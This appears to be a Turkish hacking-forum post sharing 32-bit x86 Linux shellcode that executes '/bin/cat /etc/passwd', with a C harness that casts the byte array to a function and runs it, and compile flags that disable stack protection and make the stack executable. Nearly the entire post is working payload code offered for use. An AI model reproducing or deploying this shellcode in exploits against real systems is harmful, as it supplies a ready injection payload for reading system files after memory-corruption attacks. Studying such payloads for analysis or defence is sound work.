#Gecmise Donus \w xd3.
Kod:
[COLOR=White]/*
* ::/etc/passwd Read Shellcode
* __author__: xd3
* __date__: 15/5/22
* __format__: ELF 32 Bit
* __platform__: x86/Linux
*
*/
/* Usage:
*
* $ sudo gcc -fno-stack-protector -z execstack xd3.c -o xd3
* $ ./xd3
* ../bin/cat /etc/passwd output
* $
*/
/* In C:
*
* #include <unistd.h>
* int main() {
* char *argv[2] = {"/bin/cat", "//etc/passwd"};
* execve(argv[0], argv, NULL);
* }
*
*/
#include <stdio.h>
#include <string.h>
const unsigned char xd3[] = \
"\xeb\x1d\x59\x31\xc0"
"\x89\xc2\x50\x83\xc0"
"\x0a\x40\x68\x2f\x63"
"\x61\x74\x68\x2f\x62"
"\x69\x6e\x89\xe3\x52"
"\x51\x53\x89\xe1\xcd"
"\x80\xe8\xde\xff\xff"
"\xff\x2f\x2f\x65\x74"
"\x63\x2f\x70\x61\x73"
"\x73\x77\x64";
int main(){
printf("[~] Byte-Code Len: %d\n", strlen(xd3));
int (*sh3llc0de)();
sh3llc0de = (int (*)()) xd3;
(int)(*sh3llc0de)();
}
[/COLOR]
Son düzenleme: